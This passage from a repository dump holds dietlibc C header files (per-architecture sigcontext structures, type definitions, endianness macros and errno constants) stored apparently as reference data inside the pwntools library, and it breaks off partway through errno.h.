    "content": "#include <sys/ptrace.h>\n\n#define PC(ctx) (ctx.sc_ip)\n\n#include <signal.h>\n\nstruct sigcontext {\n\tunsigned long\t\tsc_flags;\n\tunsigned long\t\tsc_nat;\n\tstack_t\t\t\tsc_stack;\n\tunsigned long\t\tsc_ip;\n\tunsigned long\t\tsc_cfm;\n\tunsigned long\t\tsc_um;\n\tunsigned long\t\tsc_ar_rsc;\n\tunsigned long\t\tsc_ar_bsp;\n\tunsigned long\t\tsc_ar_rnat;\n\tunsigned long\t\tsc_ar_ccv;\n\tunsigned long\t\tsc_ar_unat;\n\tunsigned long\t\tsc_ar_fpsr;\n\tunsigned long\t\tsc_ar_pfs;\n\tunsigned long\t\tsc_ar_lc;\n\tunsigned long\t\tsc_pr;\n\tunsigned long\t\tsc_br[8];\n\tunsigned long\t\tsc_gr[32];\n\tstruct ia64_fpreg\tsc_fr[128];\n\tsigset_t\t\tsc_mask;\n};\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/asm/mips-sigcontext.h",
    "content": "\n/*\n * Keep this struct definition in sync with the sigcontext fragment\n * in arch/mips/tools/offset.c\n */\n#ifndef __mips64__\nstruct sigcontext {\n\tunsigned int       sc_regmask;\t\t/* Unused */\n\tunsigned int       sc_status;\n\tunsigned long long sc_pc;\n\tunsigned long long sc_regs[32];\n\tunsigned long long sc_fpregs[32];\t/* Unused */\n\tunsigned int       sc_ownedfp;\n\tunsigned int       sc_fpc_csr;\t\t/* Unused */\n\tunsigned int       sc_fpc_eir;\t\t/* Unused */\n\tunsigned int       sc_ssflags;\t\t/* Unused */\n\tunsigned long long sc_mdhi;\n\tunsigned long long sc_mdlo;\n\n\tunsigned int       sc_cause;\t\t/* Unused */\n\tunsigned int       sc_badvaddr;\t\t/* Unused */\n\n\tunsigned long      sc_sigset[4];\t/* kernel's sigset_t */\n};\n#else\nstruct sigcontext {\n\tunsigned long long sc_regs[32];\n\tunsigned long long sc_fpregs[32];\n\tunsigned long long sc_mdhi;\n\tunsigned long long sc_hi1;\n\tunsigned long long sc_hi2;\n\tunsigned long long sc_hi3;\n\tunsigned long long sc_mdlo;\n\tunsigned long long sc_lo1;\n\tunsigned long long sc_lo2;\n\tunsigned long long sc_lo3;\n\tunsigned long long sc_pc;\n\tunsigned int       sc_fpc_csr;\n\tunsigned int       sc_used_math;\n\tunsigned int       sc_dsp;\n\tunsigned int       sc_reserved;\n};\n#endif\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/asm/parisc-sigcontext.h",
    "content": "\n#define PARISC_SC_FLAG_ONSTACK 1<<0\n#define PARISC_SC_FLAG_IN_SYSCALL 1<<1\n\n/* We will add more stuff here as it becomes necessary, until we know\n   it works. */\nstruct sigcontext {\n\tunsigned long sc_flags;\n\n\tunsigned long sc_gr[32]; /* PSW in sc_gr[0] */\n\tunsigned long long sc_fr[32]; /* FIXME, do we need other state info? */\n\tunsigned long sc_iasq[2];\n\tunsigned long sc_iaoq[2];\n\tunsigned long sc_sar; /* cr11 */\n};\n\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/asm/ppc-sigcontext.h",
    "content": "#include <asm/types.h>\n\n#ifndef ASM_PPC_SIGCONTEXT_H\n\nstruct pt_regs {\n\tunsigned long gpr[32];\n\tunsigned long nip;\n\tunsigned long msr;\n\tunsigned long orig_gpr3;\t/* Used for restarting system calls */\n\tunsigned long ctr;\n\tunsigned long link;\n\tunsigned long xer;\n\tunsigned long ccr;\n\tunsigned long mq;\t\t/* 601 only (not used at present) */\n\t\t\t\t\t/* Used on APUS to hold IPL value. */\n\tunsigned long trap;\t\t/* Reason for being here */\n\tunsigned long dar;\t\t/* Fault registers */\n\tunsigned long dsisr;\n\tunsigned long result; \t\t/* Result of a system call */\n};\n\n/*\n * Offsets used by 'ptrace' system call interface.\n * These can't be changed without breaking binary compatibility\n * with MkLinux, etc.\n */\n#define PT_R0\t0\n#define PT_R1\t1\n#define PT_R2\t2\n#define PT_R3\t3\n#define PT_R4\t4\n#define PT_R5\t5\n#define PT_R6\t6\n#define PT_R7\t7\n#define PT_R8\t8\n#define PT_R9\t9\n#define PT_R10\t10\n#define PT_R11\t11\n#define PT_R12\t12\n#define PT_R13\t13\n#define PT_R14\t14\n#define PT_R15\t15\n#define PT_R16\t16\n#define PT_R17\t17\n#define PT_R18\t18\n#define PT_R19\t19\n#define PT_R20\t20\n#define PT_R21\t21\n#define PT_R22\t22\n#define PT_R23\t23\n#define PT_R24\t24\n#define PT_R25\t25\n#define PT_R26\t26\n#define PT_R27\t27\n#define PT_R28\t28\n#define PT_R29\t29\n#define PT_R30\t30\n#define PT_R31\t31\n\n#define PT_NIP\t32\n#define PT_MSR\t33\n#define PT_CTR\t35\n#define PT_LNK\t36\n#define PT_XER\t37\n#define PT_CCR\t38\n#define PT_MQ\t39\n\n#define PT_FPR0\t48\t/* each FP reg occupies 2 slots in this space */\n#define PT_FPR31 (PT_FPR0 + 2*31)\n#define PT_FPSCR (PT_FPR0 + 2*32 + 1)\n\n#define sigcontext_struct sigcontext\nstruct sigcontext {\n\tunsigned long\t_unused[4];\n\t__s32\t\tsignal;\n\tunsigned long\thandler;\n\tunsigned long\toldmask;\n\tstruct pt_regs \t*regs;\n};\n\n#endif\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/asm/s390-sigcontext.h",
    "content": "#define __NUM_GPRS 16\n#define __NUM_FPRS 16\n#define __NUM_ACRS 16\n\n/* Has to be at least _NSIG_WORDS from asm/signal.h */\n#define _SIGCONTEXT_NSIG\t64\n#define _SIGCONTEXT_NSIG_BPW\t64\n/* Size of stack frame allocated when calling signal handler. */\n#define __SIGNAL_FRAMESIZE\t160\n\n#define _SIGCONTEXT_NSIG_WORDS\t(_SIGCONTEXT_NSIG / _SIGCONTEXT_NSIG_BPW)\n#define _SIGMASK_COPY_SIZE\t(sizeof(unsigned long)*_SIGCONTEXT_NSIG_WORDS)\n\ntypedef struct\n{\n        unsigned long mask;\n        unsigned long addr;\n} __attribute__ ((aligned(8))) _psw_t;\n\ntypedef struct\n{\n\t_psw_t psw;\n\tunsigned long gprs[__NUM_GPRS];\n\tunsigned int  acrs[__NUM_ACRS];\n} _s390_regs_common;\n\ntypedef struct\n{\n\tunsigned int fpc;\n\tdouble   fprs[__NUM_FPRS];\n} _s390_fp_regs;\n\ntypedef struct\n{\n\t_s390_regs_common regs;\n\t_s390_fp_regs     fpregs;\n} _sigregs;\n\nstruct sigcontext\n{\n\tunsigned long\toldmask[_SIGCONTEXT_NSIG_WORDS];\n\t_sigregs        *sregs;\n};\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/asm/sigcontext.h",
    "content": "#ifndef _ASM_SIGCONTEXT_H\n#define _ASM_SIGCONTEXT_H\n\n#include <sys/cdefs.h>\n\n__BEGIN_DECLS\n\n#if defined(__i386__)\n#include <asm/i386-sigcontext.h>\n#endif\n\n#if defined(__x86_64__)\n#include <asm/x86_64-sigcontext.h>\n#endif\n\n#ifdef __sparc__\n#include <asm/sparc-sigcontext.h>\n#endif\n\n#ifdef __mips__\n#include <asm/mips-sigcontext.h>\n#endif\n\n#if defined(__powerpc__) || defined(__powerpc64__)\n#include <asm/ppc-sigcontext.h>\n#endif\n\n#ifdef __alpha__\n#include <asm/alpha-sigcontext.h>\n#endif\n\n#ifdef __arm__\n#include <asm/arm-sigcontext.h>\n#endif\n\n#ifdef __aarch64__\n#include <asm/aarch64-sigcontext.h>\n#endif\n\n#ifdef __hppa__\n#include <asm/parisc-sigcontext.h>\n#endif\n\n#ifdef __ia64__\n#include <asm/ia64-sigcontext.h>\n#endif\n\n#ifdef __s390__\n#include <asm/s390-sigcontext.h>\n#endif\n\n__END_DECLS\n\n#endif\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/asm/sparc-sigcontext.h",
    "content": "\n#define __SUNOS_MAXWIN   31\n\n/* This is what SunOS does, so shall I. */\nstruct sigcontext {\n\tint sigc_onstack;      /* state to restore */\n\tint sigc_mask;         /* sigmask to restore */\n\tint sigc_sp;           /* stack pointer */\n\tint sigc_pc;           /* program counter */\n\tint sigc_npc;          /* next program counter */\n\tint sigc_psr;          /* for condition codes etc */\n\tint sigc_g1;           /* User uses these two registers */\n\tint sigc_o0;           /* within the trampoline code. */\n\n\t/* Now comes information regarding the users window set\n\t * at the time of the signal.\n\t */\n\tint sigc_oswins;       /* outstanding windows */\n\n\t/* stack ptrs for each regwin buf */\n\tchar *sigc_spbuf[__SUNOS_MAXWIN];\n\n\t/* Windows to restore after signal */\n\tstruct {\n\t\tunsigned long\tlocals[8];\n\t\tunsigned long\tins[8];\n\t} sigc_wbuf[__SUNOS_MAXWIN];\n};\n\ntypedef struct {\n\tstruct {\n\t\tunsigned long psr;\n\t\tunsigned long pc;\n\t\tunsigned long npc;\n\t\tunsigned long y;\n\t\tunsigned long u_regs[16]; /* globals and ins */\n\t}\t\tsi_regs;\n\tint\t\tsi_mask;\n} __siginfo_t;\n\ntypedef struct {\n\tunsigned   long si_float_regs [32];\n\tunsigned   long si_fsr;\n\tunsigned   long si_fpqdepth;\n\tstruct {\n\t\tunsigned long *insn_addr;\n\t\tunsigned long insn;\n\t} si_fpqueue [16];\n} __siginfo_fpu_t;\n\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/asm/types.h",
    "content": "#ifndef _ASM_TYPES_H\n#define _ASM_TYPES_H\n\n#include <sys/types.h>\n#include <endian.h>\n\n__BEGIN_DECLS\n\n#ifdef __alpha__\ntypedef uint32_t umode_t;\n#else\ntypedef uint16_t umode_t;\n#endif\n\ntypedef uint8_t __u8;\ntypedef uint16_t __u16;\ntypedef uint32_t __u32;\n#if !defined(__STRICT_ANSI__) || __STDC_VERSION__ + 0 >= 199900L\ntypedef uint64_t __u64;\n#endif\n\ntypedef int8_t __s8;\ntypedef int16_t __s16;\ntypedef int32_t __s32;\n#if !defined(__STRICT_ANSI__) || __STDC_VERSION__ + 0 >= 199900L\ntypedef int64_t __s64;\n#endif\n\n#if defined(__s390__) || (__WORDSIZE==64)\ntypedef unsigned long __kernel_size_t;\n#else\ntypedef uint32_t __kernel_size_t;\n#endif\n\n#define __force\ntypedef uint16_t __le16;\ntypedef uint16_t __be16;\ntypedef uint32_t __le32;\ntypedef uint32_t __be32;\ntypedef uint64_t __le64;\ntypedef uint64_t __be64;\n\ntypedef uint16_t __sum16;\ntypedef uint32_t __wsum;\n\ntypedef uint16_t __kernel_sa_family_t;\n\n__END_DECLS\n\n#endif\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/asm/x86_64-sigcontext.h",
    "content": "#include <asm/types.h>\n\n/* FXSAVE frame */\n/* Note: reserved1/2 may someday contain valuable data. Always save/restore\n   them when you change signal frames. */\nstruct _fpstate {\n\t__u16\tcwd;\n\t__u16\tswd;\n\t__u16\ttwd;\t/* Note this is not the same as the 32bit/x87/FSAVE twd */\n\t__u16\tfop;\n\t__u64\trip;\n\t__u64\trdp;\n\t__u32\tmxcsr;\n\t__u32\tmxcsr_mask;\n\t__u32\tst_space[32];\t/* 8*16 bytes for each FP-reg */\n\t__u32\txmm_space[64];\t/* 16*16 bytes for each XMM-reg  */\n\t__u32\treserved2[24];\n};\n\nstruct sigcontext { \t\t// ofs\tofs-x32\n\tunsigned long r8;\t// 0\t0\n\tunsigned long r9;\t// 8\t4\n\tunsigned long r10;\t// 16\t8\n\tunsigned long r11;\t// 24\t12\n\tunsigned long r12;\t// 32\t16\n\tunsigned long r13;\t// 40\t20\n\tunsigned long r14;\t// 48\t24\n\tunsigned long r15;\t// 56\t28\n\tunsigned long rdi;\t// 64\t32\n\tunsigned long rsi;\t// 72\t36\n\tunsigned long rbp;\t// 80\t40\n\tunsigned long rbx;\t// 88\t44\n\tunsigned long rdx;\t// 96\t48\n\tunsigned long rax;\t// 104\t52\n\tunsigned long rcx;\t// 112\t56\n\tunsigned long rsp;\t// 120\t60\n\tunsigned long rip;\t// 128\t64\n\tunsigned long eflags;\t// 136\t68\n\t__u16         cs;\t// 144\t72\n\t__u16         gs;\t// 146\t74\n\t__u16         fs;\t// 148\t76\n\t__u16         __pad0;\n\tunsigned long err;\t// 152\t80\n\tunsigned long trapno;\t// 160\t84\n\tunsigned long oldmask;\t// 168\t88\n\tunsigned long cr2;\t// 176\t92\n\tstruct _fpstate *fpstate;\t/* zero when no FPU context */\n\tunsigned long reserved1[8];\n};\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/endian.h",
    "content": "#ifndef\t_ENDIAN_H\n#define\t_ENDIAN_H\n\n#define\t__LITTLE_ENDIAN\t1234\n#define\t__BIG_ENDIAN\t4321\n\n#ifdef __mips__\n#if _MIPS_SIM == _ABI64\n#define __mips64__\n#else\n#undef __mips64__\n#endif\n#endif\n\n#if defined(__i386__) || defined(__x86_64__) || defined(__ia64__) || defined(__alpha__) || defined(__aarch64__)\n#define __BYTE_ORDER\t\t__LITTLE_ENDIAN\n#define __FLOAT_WORD_ORDER\t__BYTE_ORDER\n#endif\n\n#if (defined(__mips__) && !defined(__MIPSEB)) || (defined(__arm__) && !defined(__ARMEB__)) || ((defined(__powerpc__) || defined(__sparc__)) && defined(__LITTLE_ENDIAN__))\n#define __BYTE_ORDER\t\t__LITTLE_ENDIAN\n#define __FLOAT_WORD_ORDER\t__BYTE_ORDER\n#endif\n\n/* rest is big endian */\n\n#ifndef __BYTE_ORDER\n#define __BYTE_ORDER\t\t__BIG_ENDIAN\n#define __FLOAT_WORD_ORDER\t__BYTE_ORDER\n#endif\n\n#define LITTLE_ENDIAN\t\t__LITTLE_ENDIAN\n#define BIG_ENDIAN\t\t__BIG_ENDIAN\n#define BYTE_ORDER\t\t__BYTE_ORDER\n\n#if __BYTE_ORDER == __LITTLE_ENDIAN\n# define __LONG_LONG_PAIR(HI, LO) LO, HI\n#elif __BYTE_ORDER == __BIG_ENDIAN\n# define __LONG_LONG_PAIR(HI, LO) HI, LO\n#endif\n\n#if defined(__alpha__) || defined(__mips64__) || defined(__sparcv9) || defined(__ia64__) || defined(__powerpc64__) || defined(__s390x__) || defined(__aarch64__)\n#define __WORDSIZE 64\n#endif\n\n#if defined(__x86_64__)\n#if defined(__ILP32__)\n#define __OFF_T_MATCHES_OFF64_T\n#else\n#define __WORDSIZE 64\n#endif\n#endif\n\n#if defined(__x86_64__) || defined(__powerpc64__) || defined(__sparcv9) || defined(__aarch64__)\n#define __WORDSIZE_COMPAT32 1\n#endif\n\n#if defined(__sparc__) && (__arch64__)\n#define __WORDSIZE 64\n#define __WORDSIZE_COMPAT32 1\n#endif\n\n#ifdef __WORDSIZE\n#define __OFF_T_MATCHES_OFF64_T\n#else\n#define __WORDSIZE 32\n#endif\n\n#if defined(__x86_64__) || defined(__i386__)\n#define __UNALIGNED_MEMORY_ACCESS_OK 1\n#endif\n\n#endif\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/errno.h",
    "content": "#ifndef _ERRNO_H\n#define _ERRNO_H\n\n#if defined(__alpha__)\n\n#define EPERM\t\t 1\t/* Operation not permitted */\n#define ENOENT\t\t 2\t/* No such file or directory */\n#define ESRCH\t\t 3\t/* No such process */\n#define EINTR\t\t 4\t/* Interrupted system call */\n#define EIO\t\t 5\t/* I/O error */\n#define ENXIO\t\t 6\t/* No such device or address */\n#define E2BIG\t\t 7\t/* Arg list too long */\n#define ENOEXEC\t\t 8\t/* Exec format error */\n#define EBADF\t\t 9\t/* Bad file number */\n#define ECHILD\t\t10\t/* No child processes */\n#define EDEADLK\t\t11\t/* Resource deadlock would occur */\n#define ENOMEM\t\t12\t/* Out of memory */\n#define EACCES\t\t13\t/* Permission denied */\n#define EFAULT\t\t14\t/* Bad address */\n#define ENOTBLK\t\t15\t/* Block device required */\n#define EBUSY\t\t16\t/* Device or resource busy */\n#define EEXIST\t\t17\t/* File exists */\n#define EXDEV\t\t18\t/* Cross-device link */\n#define ENODEV\t\t19\t/* No such device */\n#define ENOTDIR\t\t20\t/* Not a directory */\n#define EISDIR\t\t21\t/* Is a directory */\n#define EINVAL\t\t22\t/* Invalid argument */\n#define ENFILE\t\t23\t/* File table overflow */\n#define EMFILE\t\t24\t/* Too many open files */\n#define ENOTTY\t\t25\t/* Not a typewriter */\n#define ETXTBSY\t\t26\t/* Text file busy */\n#define EFBIG\t\t27\t/* File too large */\n#define ENOSPC\t\t28\t/* No space left on device */\n#define ESPIPE\t\t29\t/* Illegal seek */\n#define EROFS\t\t30\t/* Read-only file system */\n#define EMLINK\t\t31\t/* Too many links */\n#define EPIPE\t\t32\t/* Broken pipe */\n#define EDOM\t\t33\t/* Math argument out of domain of func */\n#define ERANGE\t\t34\t/* Math result not representable */\n#define EAGAIN\t\t35\t/* Try again */\n#define EWOULDBLOCK\tEAGAIN\t/* Operation would block */\n#define EINPROGRESS\t36\t/* Operation now in progress */\n#define EALREADY\t37\t/* Operation already in progress */\n#define ENOTSOCK\t38\t/* Socket operation on non-socket */\n#define EDESTADDRREQ\t39\t/* Destination address required */\n#define EMSGSIZE\t40\t/* Message too long */\n#define EPROTOTYPE\t41\t/* Protocol wrong type for socket */\n#define ENOPROTOOPT\t42\t/* Protocol not available */\n#define EPROTONOSUPPORT\t43\t/* Protocol not supported */\n#define ESOCKTNOSUPPORT\t44\t/* Socket type not supported */\n#define EOPNOTSUPP\t45\t/* Operation not supported on transport endpoint */\n#define ENOTSUP\t\tEOPNOTSUPP/* Operation not supported on transport endpoint */\n#define EPFNOSUPPORT\t46\t/* Protocol family not supported */\n#define EAFNOSUPPORT\t47\t/* Address family not supported by protocol */\n#define EADDRINUSE\t48\t/* Address already in use */\n#define EADDRNOTAVAIL\t49\t/* Cannot assign requested address */\n#define ENETDOWN\t50\t/* Network is down */\n#define ENETUNREACH\t51\t/* Network is unreachable */\n#define ENETRESET\t52\t/* Network dropped connection because of reset */\n#define ECONNABORTED\t53\t/* Software caused connection abort */\n#define ECONNRESET\t54\t/* Connection reset by peer */\n#define ENOBUFS\t\t55\t/* No buffer space available */\n#define EISCONN\t\t56\t/* Transport endpoint is already connected */\n#define ENOTCONN\t57\t/* Transport endpoint is not connected */\n#define ESHUTDOWN\t58\t/* Cannot send after transport endpoint shutdown */\n#define ETOOMANYREFS\t59\t/* Too many references: cannot splice */\n#define ETIMEDOUT\t60\t/* Connection timed out */\n#define ECONNREFUSED\t61\t/* Connection refused */\n#define ELOOP\t\t62\t/* Too many symbolic links encountered */\n#define ENAMETOOLONG\t63\t/* File name too long */\n#define EHOSTDOWN\t64\t/* Host is down */\n#define EHOSTUNREACH\t65\t/* No route to host */\n#define ENOTEMPTY\t66\t/* Directory not empty */\n#define EUSERS\t\t68\t/* Too many users */\n#define EDQUOT\t\t69\t/* Quota exceeded */\n#define ESTALE\t\t70\t/* Stale NFS file handle */\n#define EREMOTE\t\t71\t/* Object is remote */\n#define ENOLCK\t\t77\t/* No record locks available */\n#define ENOSYS\t\t78\t/* Function not implemented */\n#define ENOMSG\t\t80\t/* No message of desired type */\n#define EIDRM\t\t81\t/* Identifier removed */\n#define ENOSR\t\t82\t/* Out of streams resources */\n#define ETIME\t\t83\t/* Timer expired */\n#define EBADMSG\t\t84\t/* Not a data message */\n#define EPROTO\t\t85\t/* Protocol error */\n#define ENODATA\t\t86\t/* No data available */\n#define ENOSTR\t\t87\t/* Device not a stream */\n#define ENOPKG\t\t92\t/* Package not installed */\n#define EILSEQ\t\t116\t/* Illegal byte sequence */\n/* The following are just random noise.. */\n#define ECHRNG\t\t88\t/* Channel number out of range */\n#define EL2NSYNC\t89\t/* Level 2 not synchronized */\n#define EL3HLT\t\t90\t/* Level 3 halted */\n#define EL3RST\t\t91\t/* Level 3 reset */\n#define ELNRNG\t\t93\t/* Link number out of range */\n#define EUNATCH\t\t94\t/* Protocol driver not attached */\n#define ENOCSI\t\t95\t/* No CSI structure available */\n#define EL2HLT\t\t96\t/* Level 2 halted */\n#define EBADE\t\t97\t/* Invalid exchange */\n#define EBADR\t\t98\t/* Invalid request descriptor */\n#define EXFULL\t\t99\t/* Exchange full */\n#define ENOANO\t\t100\t/* No anode */\n#define EBADRQC\t\t101\t/* Invalid request code */\n#define EBADSLT\t\t102\t/* Invalid slot */\n#define EDEADLOCK\tEDEADLK\n#define EBFONT\t\t104\t/* Bad font file format */\n#define ENONET\t\t105\t/* Machine is not on the network */\n#define ENOLINK\t\t106\t/* Link has been severed */\n#define EADV\t\t107\t/* Advertise error */\n#define ESRMNT\t\t108\t/* Srmount error */\n#define ECOMM\t\t109\t/* Communication error on send */\n#define EMULTIHOP\t110\t/* Multihop attempted */\n#define EDOTDOT\t\t111\t/* RFS specific error */\n#define EOVERFLOW\t112\t/* Value too large for defined data type */\n#define ENOTUNIQ\t113\t/* Name not unique on network */\n#define EBADFD\t\t114\t/* File descriptor in bad state */\n#define EREMCHG\t\t115\t/* Remote address changed */\n#define EUCLEAN\t\t117\t/* Structure needs cleaning */\n#define ENOTNAM\t\t118\t/* Not a XENIX named type file */\n#define ENAVAIL\t\t119\t/* No XENIX semaphores available */\n#define EISNAM\t\t120\t/* Is a named type file */\n#define EREMOTEIO\t121\t/* Remote I/O error */\n#define ELIBACC\t\t122\t/* Can not access a needed shared library */\n#define ELIBBAD\t\t123\t/* Accessing a corrupted shared library */\n#define ELIBSCN\t\t124\t/* .lib section in a.out corrupted */\n#define ELIBMAX\t\t125\t/* Attempting to link in too many shared libraries */\n#define ELIBEXEC\t126\t/* Cannot exec a shared library directly */\n#define ERESTART\t127\t/* Interrupted system call should be restarted */\n#define ESTRPIPE\t128\t/* Streams pipe error */\n#define ENOMEDIUM\t129\t/* No medium found */\n#define EMEDIUMTYPE\t130\t/* Wrong medium type */\n#define\tECANCELED\t131\t/* Operation Cancelled */\n#define\tENOKEY\t\t132\t/* Required key not available */\n#define\tEKEYEXPIRED\t133\t/* Key has expired */\n#define\tEKEYREVOKED\t134\t/* Key has been revoked */\n#define\tEKEYREJECTED\t135\t/* Key was rejected by service */\n\n/* for robust mutexes */\n#define\tEOWNERDEAD\t136\t/* Owner died */\n#define\tENOTRECOVERABLE\t137\t/* State not recoverable */\n\n#define\tERFKILL\t\t138\t/* Operation not possible due to RF-kill */\n\n#define EHWPOISON\t139\t/* Memory page has hardware error */\n\n#define __SYS_NERR  ((EHWPOISON) + 1)\n\n#elif defined(__mips__)\n\n#define EPERM\t\t 1\t/* Operation not permitted */\n#define ENOENT\t\t 2\t/* No such file or directory */\n#define ESRCH\t\t 3\t/* No such process */\n#define EINTR\t\t 4\t/* Interrupted system call */\n#define EIO\t\t 5\t/* I/O error */\n#define ENXIO\t\t 6\t/* No such device or address */\n#define E2BIG\t\t 7\t/* Arg list too long */\n#define ENOEXEC\t\t 8\t/* Exec format error */\n#define EBADF\t\t 9\t/* Bad file number */\n#define ECHILD\t\t10\t/* No child processes */\n#define EAGAIN\t\t11\t/* Try again */\n#define ENOMEM\t\t12\t/* Out of memory */\n#define EACCES\t\t13\t/* Permission denied */\n#define EFAULT\t\t14\t/* Bad address */\n#define ENOTBLK\t\t15\t/* Block device required */\n#define EBUSY\t\t16\t/* Device or resource busy */\n#define EEXIST\t\t17\t/* File exists */\n#define EXDEV\t\t18\t/* Cross-device link */\n#define ENODEV\t\t19\t/* No such device */\n#define ENOTDIR\t\t20\t/* Not a directory */\n#define EISDIR\t\t21\t/* Is a directory */\n#define EINVAL\t\t22\t/* Invalid argument */\n#define ENFILE\t\t23\t/* File table overflow */\n#define EMFILE\t\t24\t/* Too many open files */\n#define ENOTTY\t\t25\t/* Not a typewriter */\n#define ETXTBSY\t\t26\t/* Text file busy */\n#define EFBIG\t\t27\t/* File too large */\n#define ENOSPC\t\t28\t/* No space left on device */\n#define ESPIPE\t\t29\t/* Illegal seek */\n#define EROFS\t\t30\t/* Read-only file system */\n#define EMLINK\t\t31\t/* Too many links */\n#define EPIPE\t\t32\t/* Broken pipe */\n#define EDOM\t\t33\t/* Math argument out of domain of func */\n#define ERANGE\t\t34\t/* Math result not representable */\n#define ENOMSG\t\t35\t/* No message of desired type */\n#define EIDRM\t\t36\t/* Identifier removed */\n#define ECHRNG\t\t37\t/* Channel number out of range */\n#define EL2NSYNC\t38\t/* Level 2 not synchronized */\n#define EL3HLT\t\t39\t/* Level 3 halted */\n#define EL3RST\t\t40\t/* Level 3 reset */\n#define ELNRNG\t\t41\t/* Link number out of range */\n#define EUNATCH\t\t42\t/* Protocol driver not attached */\n#define ENOCSI\t\t43\t/* No CSI structure available */\n#define EL2HLT\t\t44\t/* Level 2 halted */\n#define EDEADLK\t\t45\t/* Resource deadlock would occur */\n#define ENOLCK\t\t46\t/* No record locks available */\n#define EBADE\t\t50\t/* Invalid exchange */\n#define EBADR\t\t51\t/* Invalid request descriptor */\n#define EXFULL\t\t52\t/* Exchange full */\n#define ENOANO\t\t53\t/* No anode */\n#define EBADRQC\t\t54\t/* Invalid request code */\n#define EBADSLT\t\t55\t/* Invalid slot */\n#define EDEADLOCK\t56\t/* File locking deadlock error */\n#define EBFONT\t\t59\t/* Bad font file format */\n#define ENOSTR\t\t60\t/* Device not a stream */\n#define ENODATA\t\t61\t/* No data available */\n#define ETIME\t\t62\t/* Timer expired */\n#define ENOSR\t\t63\t/* Out of streams resources */\n#define ENONET\t\t64\t/* Machine is not on the network */\n#define ENOPKG\t\t65\t/* Package not installed */\n#define EREMOTE\t\t66\t/* Object is remote */\n#define ENOLINK\t\t67\t/* Link has been severed */\n#define EADV\t\t68\t/* Advertise error */\n#define ESRMNT\t\t69\t/* Srmount error */\n#define ECOMM\t\t70\t/* Communication error on send */\n#define EPROTO\t\t71\t/* Protocol error */\n#define EDOTDOT\t\t73\t/* RFS specific error */\n#define EMULTIHOP\t74\t/* Multihop attempted */\n#define EBADMSG\t\t77\t/* Not a data message */\n#define ENAMETOOLONG\t78\t/* File name too long */\n#define EOVERFLOW\t79\t/* Value too large for defined data type */\n#define ENOTUNIQ\t80\t/* Name not unique on network */\n#define EBADFD\t\t81\t/* File descriptor in bad state */\n#define EREMCHG\t\t82\t/* Remote address changed */\n#define ELIBACC\t\t83\t/* Can not access a needed shared library */\n#define ELIBBAD\t\t84\t/* Accessing a corrupted shared library */\n#define ELIBSCN\t\t85\t/* .lib section in a.out corrupted */\n#define ELIBMAX\t\t86\t/* Attempting to link in too many shared libraries */\n#define ELIBEXEC\t87\t/* Cannot exec a shared library directly */\n#define EILSEQ\t\t88\t/* Illegal byte sequence */\n#define ENOSYS\t\t89\t/* Function not implemented */\n#define ELOOP\t\t90\t/* Too many symbolic links encountered */\n#define ERESTART\t91\t/* Interrupted system call should be restarted */\n#define ESTRPIPE\t92\t/* Streams pipe error */\n#define ENOTEMPTY\t93\t/* Directory not empty */\n#define EUSERS\t\t94\t/* Too many users */\n#define ENOTSOCK\t95\t/* Socket operation on non-socket */\n#define EDESTADDRREQ\t96\t/* Destination address required */\n#define EMSGSIZE\t97\t/* Message too long */\n#define EPROTOTYPE\t98\t/* Protocol wrong type for socket */\n#define ENOPROTOOPT\t99\t/* Protocol not available */\n#define EPROTONOSUPPORT\t120\t/* Protocol not supported */\n#define ESOCKTNOSUPPORT\t121\t/* Socket type not supported */\n#define EOPNOTSUPP\t122\t/* Operation not supported on transport endpoint */\n#define ENOTSUP\t\tEOPNOTSUPP/* Operation not supported on transport endpoint */\n#define EPFNOSUPPORT\t123\t/* Protocol family not supported */\n#define EAFNOSUPPORT\t124\t/* Address family not supported by protocol */\n#define EADDRINUSE\t125\t/* Address already in use */\n#define EADDRNOTAVAIL\t126\t/* Cannot assign requested address */\n#define ENETDOWN\t127\t/* Network is down */\n#define ENETUNREACH\t128\t/* Network is unreachable */\n#define ENETRESET\t129\t/* Network dropped connection because of reset */\n#define ECONNABORTED\t130\t/* Software caused connection abort */\n#define ECONNRESET\t131\t/* Connection reset by peer */\n#define ENOBUFS\t\t132\t/* No buffer space available */\n#define EISCONN\t\t133\t/* Transport endpoint is already connected */\n#define ENOTCONN\t134\t/* Transport endpoint is not connected */\n#define EUCLEAN\t\t135\t/* Structure needs cleaning */\n#define ENOTNAM\t\t137\t/* Not a XENIX named type file */\n#define ENAVAIL\t\t138\t/* No XENIX semaphores available */\n#define EISNAM\t\t139\t/* Is a named type file */\n#define EREMOTEIO\t140\t/* Remote I/O error */\n#define EINIT\t\t141\t/* Reserved */\n#define EREMDEV\t\t142\t/* Error 142 */\n#define ESHUTDOWN\t143\t/* Cannot send after transport endpoint shutdown */\n#define ETOOMANYREFS\t144\t/* Too many references: cannot splice */\n#define ETIMEDOUT\t145\t/* Connection timed out */\n#define ECONNREFUSED\t146\t/* Connection refused */\n#define EHOSTDOWN\t147\t/* Host is down */\n#define EHOSTUNREACH\t148\t/* No route to host */\n#define EWOULDBLOCK\tEAGAIN\t/* Operation would block */\n#define EALREADY\t149\t/* Operation already in progress */\n#define EINPROGRESS\t150\t/* Operation now in progress */\n#define ESTALE\t\t151\t/* Stale NFS file handle */\n#define ECANCELED\t158\t/* AIO operation canceled */\n#define ENOMEDIUM\t159\t/* No medium found */\n#define EMEDIUMTYPE\t160\t/* Wrong medium type */\n#define\tENOKEY\t\t161\t/* Required key not available */\n#define\tEKEYEXPIRED\t162\t/* Key has expired */\n#define\tEKEYREVOKED\t163\t/* Key has been revoked */\n#define\tEKEYREJECTED\t164\t/* Key was rejected by service */\n\n/* for robust mutexes */\n#define EOWNERDEAD\t165\t/* Owner died */\n#define ENOTRECOVERABLE 166\t/* State not recoverable */\n\n#define ERFKILL\t\t167\t/* Operation not possible due to RF-kill */\n\n#define EHWPOISON\t168\t/* Memory page has hardware error */\n\n#define EDQUOT\t\t1133\t/* Quota exceeded */\n\n#define __SYS_NERR  